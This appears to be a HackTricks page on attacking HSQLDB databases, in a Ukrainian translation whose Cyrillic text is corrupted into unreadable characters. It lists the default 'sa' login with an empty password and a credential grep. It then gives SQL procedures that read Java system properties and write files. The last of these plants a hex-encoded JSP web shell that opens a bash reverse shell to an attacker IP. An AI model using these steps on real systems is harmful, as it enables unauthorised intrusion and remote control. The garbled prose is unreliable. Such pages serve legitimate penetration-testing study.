{% hint style="success" %}
Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\
Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
Support HackTricks
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** π¬ [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** π¦ [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
{% endhint %}
# ΠΡΠ½ΠΎΠ²Π½Π° ΡΠ½ΡΠΎΡΠΌΠ°ΡΡΡ
**HSQLDB \([HyperSQL DataBase](http://hsqldb.org/)\)** Ρ ΠΏΡΠΎΠ²ΡΠ΄Π½ΠΎΡ ΡΠΈΡΡΠ΅ΠΌΠΎΡ ΡΠ΅Π»ΡΡΡΠΉΠ½ΠΈΡ
Π±Π°Π· Π΄Π°Π½ΠΈΡ
SQL, Π½Π°ΠΏΠΈΡΠ°Π½ΠΎΡ Π½Π° Java. ΠΠΎΠ½Π° ΠΏΡΠΎΠΏΠΎΠ½ΡΡ Π½Π΅Π²Π΅Π»ΠΈΠΊΠΈΠΉ, ΡΠ²ΠΈΠ΄ΠΊΠΈΠΉ Π±Π°Π³Π°ΡΠΎΠΏΠΎΡΠΎΠΊΠΎΠ²ΠΈΠΉ ΡΠ° ΡΡΠ°Π½Π·Π°ΠΊΡΡΠΉΠ½ΠΈΠΉ ΠΌΠ΅Ρ
Π°Π½ΡΠ·ΠΌ Π±Π°Π·ΠΈ Π΄Π°Π½ΠΈΡ
Π· ΡΠ°Π±Π»ΠΈΡΡΠΌΠΈ Π² ΠΏΠ°ΠΌ'ΡΡΡ ΡΠ° Π½Π° Π΄ΠΈΡΠΊΡ, Π° ΡΠ°ΠΊΠΎΠΆ ΠΏΡΠ΄ΡΡΠΈΠΌΡΡ Π²Π±ΡΠ΄ΠΎΠ²Π°Π½Ρ ΡΠ° ΡΠ΅ΡΠ²Π΅ΡΠ½Ρ ΡΠ΅ΠΆΠΈΠΌΠΈ.
**ΠΠΎΡΡ Π·Π° Π·Π°ΠΌΠΎΠ²ΡΡΠ²Π°Π½Π½ΡΠΌ:** 9001
```text
9001/tcp open jdbc HSQLDB JDBC (Network Compatibility Version 2.3.4.0)
```
# ΠΠ½ΡΠΎΡΠΌΠ°ΡΡΡ
### ΠΠ°Π»Π°ΡΡΡΠ²Π°Π½Π½Ρ Π·Π° Π·Π°ΠΌΠΎΠ²ΡΡΠ²Π°Π½Π½ΡΠΌ
ΠΠ²Π΅ΡΠ½ΡΡΡ ΡΠ²Π°Π³Ρ, ΡΠΎ Π·Π° Π·Π°ΠΌΠΎΠ²ΡΡΠ²Π°Π½Π½ΡΠΌ ΡΡ ΡΠ»ΡΠΆΠ±Π°, ΠΉΠΌΠΎΠ²ΡΡΠ½ΠΎ, ΠΏΡΠ°ΡΡΡ Π² ΠΏΠ°ΠΌ'ΡΡΡ Π°Π±ΠΎ ΠΏΡΠΈΠ²'ΡΠ·Π°Π½Π° Π΄ΠΎ localhost. Π―ΠΊΡΠΎ Π²ΠΈ ΡΡ Π·Π½Π°ΠΉΡΠ»ΠΈ, Π²ΠΈ, Π½Π°ΠΏΠ΅Π²Π½ΠΎ, Π΅ΠΊΡΠΏΠ»ΡΠ°ΡΡΠ²Π°Π»ΠΈ ΡΠ½ΡΡ ΡΠ»ΡΠΆΠ±Ρ Ρ Π½Π°ΠΌΠ°Π³Π°ΡΡΠ΅ΡΡ ΠΏΡΠ΄Π²ΠΈΡΠΈΡΠΈ ΠΏΡΠΈΠ²ΡΠ»Π΅Ρ.
ΠΠ°Π»Π°ΡΡΡΠ²Π°Π½Π½Ρ Π·Π° Π·Π°ΠΌΠΎΠ²ΡΡΠ²Π°Π½Π½ΡΠΌ Π·Π°Π·Π²ΠΈΡΠ°ΠΉ `sa` Π· ΠΏΠΎΡΠΎΠΆΠ½ΡΠΌ ΠΏΠ°ΡΠΎΠ»Π΅ΠΌ.
Π―ΠΊΡΠΎ Π²ΠΈ Π΅ΠΊΡΠΏΠ»ΡΠ°ΡΡΠ²Π°Π»ΠΈ ΡΠ½ΡΡ ΡΠ»ΡΠΆΠ±Ρ, ΡΡΠΊΠ°ΠΉΡΠ΅ ΠΌΠΎΠΆΠ»ΠΈΠ²Ρ ΠΎΠ±Π»ΡΠΊΠΎΠ²Ρ Π΄Π°Π½Ρ, Π²ΠΈΠΊΠΎΡΠΈΡΡΠΎΠ²ΡΡΡΠΈ
```text
grep -rP 'jdbc:hsqldb.*password.*' /path/to/search
```
ΠΠ²Π΅ΡΠ½ΡΡΡ ΡΠ²Π°Π³Ρ Π½Π° Π½Π°Π·Π²Ρ Π±Π°Π·ΠΈ Π΄Π°Π½ΠΈΡ
- Π²ΠΎΠ½Π° Π·Π½Π°Π΄ΠΎΠ±ΠΈΡΡΡΡ Π΄Π»Ρ ΠΏΡΠ΄ΠΊΠ»ΡΡΠ΅Π½Π½Ρ.
# ΠΠ±ΡΡ ΡΠ½ΡΠΎΡΠΌΠ°ΡΡΡ
ΠΡΠ΄ΠΊΠ»ΡΡΡΡΡΡΡ Π΄ΠΎ Π΅ΠΊΠ·Π΅ΠΌΠΏΠ»ΡΡΠ° ΠΠ, Π·Π°Π²Π°Π½ΡΠ°ΠΆΠΈΠ²ΡΠΈ [HSQLDB](https://sourceforge.net/projects/hsqldb/files/) ΡΠ° Π²ΠΈΡΡΠ³Π½ΡΠ²ΡΠΈ `hsqldb/lib/hsqldb.jar`. ΠΠ°ΠΏΡΡΡΡΡΡ GUI Π΄ΠΎΠ΄Π°ΡΠΎΠΊ \(eww\) Π·Π° Π΄ΠΎΠΏΠΎΠΌΠΎΠ³ΠΎΡ `java -jar hsqldb.jar` Ρ ΠΏΡΠ΄ΠΊΠ»ΡΡΡΡΡΡΡ Π΄ΠΎ Π΅ΠΊΠ·Π΅ΠΌΠΏΠ»ΡΡΠ°, Π²ΠΈΠΊΠΎΡΠΈΡΡΠΎΠ²ΡΡΡΠΈ Π²ΠΈΡΠ²Π»Π΅Π½Ρ/ΡΠ»Π°Π±ΠΊΡ ΠΎΠ±Π»ΡΠΊΠΎΠ²Ρ Π΄Π°Π½Ρ.
ΠΠ²Π΅ΡΠ½ΡΡΡ ΡΠ²Π°Π³Ρ, ΡΠΎ URL ΠΏΡΠ΄ΠΊΠ»ΡΡΠ΅Π½Π½Ρ Π²ΠΈΠ³Π»ΡΠ΄Π°ΡΠΈΠΌΠ΅ ΠΏΡΠΈΠ±Π»ΠΈΠ·Π½ΠΎ ΡΠ°ΠΊ Π΄Π»Ρ Π²ΡΠ΄Π΄Π°Π»Π΅Π½ΠΎΡ ΡΠΈΡΡΠ΅ΠΌΠΈ: `jdbc:hsqldb:hsql://ip/DBNAME`.
# Π₯ΠΈΡΡΠΎΡΡ
## Π ΡΡΠΈΠ½ΠΈ ΠΌΠΎΠ²ΠΈ Java
ΠΠΈ ΠΌΠΎΠΆΠ΅ΠΌΠΎ Π²ΠΈΠΊΠ»ΠΈΠΊΠ°ΡΠΈ ΡΡΠ°ΡΠΈΡΠ½Ρ ΠΌΠ΅ΡΠΎΠ΄ΠΈ ΠΊΠ»Π°ΡΡ Java Π· HSQLDB, Π²ΠΈΠΊΠΎΡΠΈΡΡΠΎΠ²ΡΡΡΠΈ ΡΡΡΠΈΠ½ΠΈ ΠΌΠΎΠ²ΠΈ Java. ΠΠ²Π΅ΡΠ½ΡΡΡ ΡΠ²Π°Π³Ρ, ΡΠΎ Π²ΠΈΠΊΠ»ΠΈΠΊΠ°Π½ΠΈΠΉ ΠΊΠ»Π°Ρ ΠΏΠΎΠ²ΠΈΠ½Π΅Π½ Π±ΡΡΠΈ Π² ΠΊΠ»Π°Ρpath ΠΏΡΠΎΠ³ΡΠ°ΠΌΠΈ.
JRT ΠΌΠΎΠΆΡΡΡ Π±ΡΡΠΈ `ΡΡΠ½ΠΊΡΡΡΠΌΠΈ` Π°Π±ΠΎ `ΠΏΡΠΎΡΠ΅Π΄ΡΡΠ°ΠΌΠΈ`. Π€ΡΠ½ΠΊΡΡΡ ΠΌΠΎΠΆΠ½Π° Π²ΠΈΠΊΠ»ΠΈΠΊΠ°ΡΠΈ ΡΠ΅ΡΠ΅Π· SQL-ΡΠ½ΡΡΡΡΠΊΡΡΡ, ΡΠΊΡΠΎ ΠΌΠ΅ΡΠΎΠ΄ Java ΠΏΠΎΠ²Π΅ΡΡΠ°Ρ ΠΎΠ΄Π½Ρ Π°Π±ΠΎ ΠΊΡΠ»ΡΠΊΠ° SQL-ΡΡΠΌΡΡΠ½ΠΈΡ
ΠΏΡΠΈΠΌΡΡΠΈΠ²Π½ΠΈΡ
Π·ΠΌΡΠ½Π½ΠΈΡ
. ΠΠΎΠ½ΠΈ Π²ΠΈΠΊΠ»ΠΈΠΊΠ°ΡΡΡΡΡ Π·Π° Π΄ΠΎΠΏΠΎΠΌΠΎΠ³ΠΎΡ ΡΠ½ΡΡΡΡΠΊΡΡΡ `VALUES`.
Π―ΠΊΡΠΎ ΠΌΠ΅ΡΠΎΠ΄ Java, ΡΠΊΠΈΠΉ ΠΌΠΈ Ρ
ΠΎΡΠ΅ΠΌΠΎ Π²ΠΈΠΊΠ»ΠΈΠΊΠ°ΡΠΈ, ΠΏΠΎΠ²Π΅ΡΡΠ°Ρ void, Π½Π°ΠΌ ΠΏΠΎΡΡΡΠ±Π½ΠΎ Π²ΠΈΠΊΠΎΡΠΈΡΡΠΎΠ²ΡΠ²Π°ΡΠΈ ΠΏΡΠΎΡΠ΅Π΄ΡΡΡ, Π²ΠΈΠΊΠ»ΠΈΠΊΠ°Π½Ρ Π·Π° Π΄ΠΎΠΏΠΎΠΌΠΎΠ³ΠΎΡ ΡΠ½ΡΡΡΡΠΊΡΡΡ `CALL`.
## Π§ΠΈΡΠ°Π½Π½Ρ Π²Π»Π°ΡΡΠΈΠ²ΠΎΡΡΠ΅ΠΉ ΡΠΈΡΡΠ΅ΠΌΠΈ Java
Π‘ΡΠ²ΠΎΡΡΡΡ ΡΡΠ½ΠΊΡΡΡ:
```text
CREATE FUNCTION getsystemproperty(IN key VARCHAR) RETURNS VARCHAR LANGUAGE JAVA
DETERMINISTIC NO SQL
EXTERNAL NAME 'CLASSPATH:java.lang.System.getProperty'
```
ΠΠΈΠΊΠΎΠ½Π°ΡΠΈ ΡΡΠ½ΠΊΡΡΡ:
```text
VALUES(getsystemproperty('user.name'))
```
You can find a [list of system properties here](https://docs.oracle.com/javase/tutorial/essential/environment/sysprop.html).
## ΠΠ°ΠΏΠΈΡ Π²ΠΌΡΡΡΡ Ρ ΡΠ°ΠΉΠ»
You can use the `com.sun.org.apache.xml.internal.security.utils.JavaUtils.writeBytesToFilename` Java gadget located in the JDK \(auto loaded into the class path of the application\) to write hex-encoded items to disk via a custom procedure. **ΠΠ²Π΅ΡΠ½ΡΡΡ ΡΠ²Π°Π³Ρ Π½Π° ΠΌΠ°ΠΊΡΠΈΠΌΠ°Π»ΡΠ½ΠΈΠΉ ΡΠΎΠ·ΠΌΡΡ 1024 Π±Π°ΠΉΡΠΈ**.
Create procedure:
```text
CREATE PROCEDURE writetofile(IN paramString VARCHAR, IN paramArrayOfByte VARBINARY(1024))
LANGUAGE JAVA DETERMINISTIC NO SQL EXTERNAL NAME
'CLASSPATH:com.sun.org.apache.xml.internal.security.utils.JavaUtils.writeBytesToFilename'
```
ΠΠΈΠΊΠΎΠ½Π°ΡΠΈ ΠΏΡΠΎΡΠ΅Π΄ΡΡΡ:
```text
call writetofile('/path/ROOT/shell.jsp', cast ('3c2540207061676520696d706f72743d226a6176612e696f2e2a2220253e0a3c250a202020537472696e6720636d64203d20222f62696e2f62617368202d69203e26202f6465762f7463702f3139322e3136382e3131392[...]' AS VARBINARY(1024)))
```
{% hint style="success" %}
ΠΠΈΠ²ΡΠ°ΠΉΡΠ΅ ΡΠ° ΠΏΡΠ°ΠΊΡΠΈΠΊΡΠΉΡΠ΅ AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\
ΠΠΈΠ²ΡΠ°ΠΉΡΠ΅ ΡΠ° ΠΏΡΠ°ΠΊΡΠΈΠΊΡΠΉΡΠ΅ GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
ΠΡΠ΄ΡΡΠΈΠΌΠ°ΠΉΡΠ΅ HackTricks
* ΠΠ΅ΡΠ΅Π²ΡΡΡΠ΅ [**ΠΏΠ»Π°Π½ΠΈ ΠΏΡΠ΄ΠΏΠΈΡΠΊΠΈ**](https://github.com/sponsors/carlospolop)!
* **ΠΡΠΈΡΠ΄Π½ΡΠΉΡΠ΅ΡΡ Π΄ΠΎ** π¬ [**Π³ΡΡΠΏΠΈ Discord**](https://discord.gg/hRep4RUj7f) Π°Π±ΠΎ [**Π³ΡΡΠΏΠΈ Telegram**](https://t.me/peass) Π°Π±ΠΎ **ΡΠ»ΡΠ΄ΠΊΡΠΉΡΠ΅** Π·Π° Π½Π°ΠΌΠΈ Π² **Twitter** π¦ [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **ΠΡΠ»ΡΡΡΡΡ Ρ
Π°ΠΊΠ΅ΡΡΡΠΊΠΈΠΌΠΈ ΡΡΡΠΊΠ°ΠΌΠΈ, Π½Π°Π΄ΡΠΈΠ»Π°ΡΡΠΈ PR Π΄ΠΎ** [**HackTricks**](https://github.com/carlospolop/hacktricks) ΡΠ° [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) ΡΠ΅ΠΏΠΎΠ·ΠΈΡΠΎΡΡΡΠ² Π½Π° github.
{% endhint %}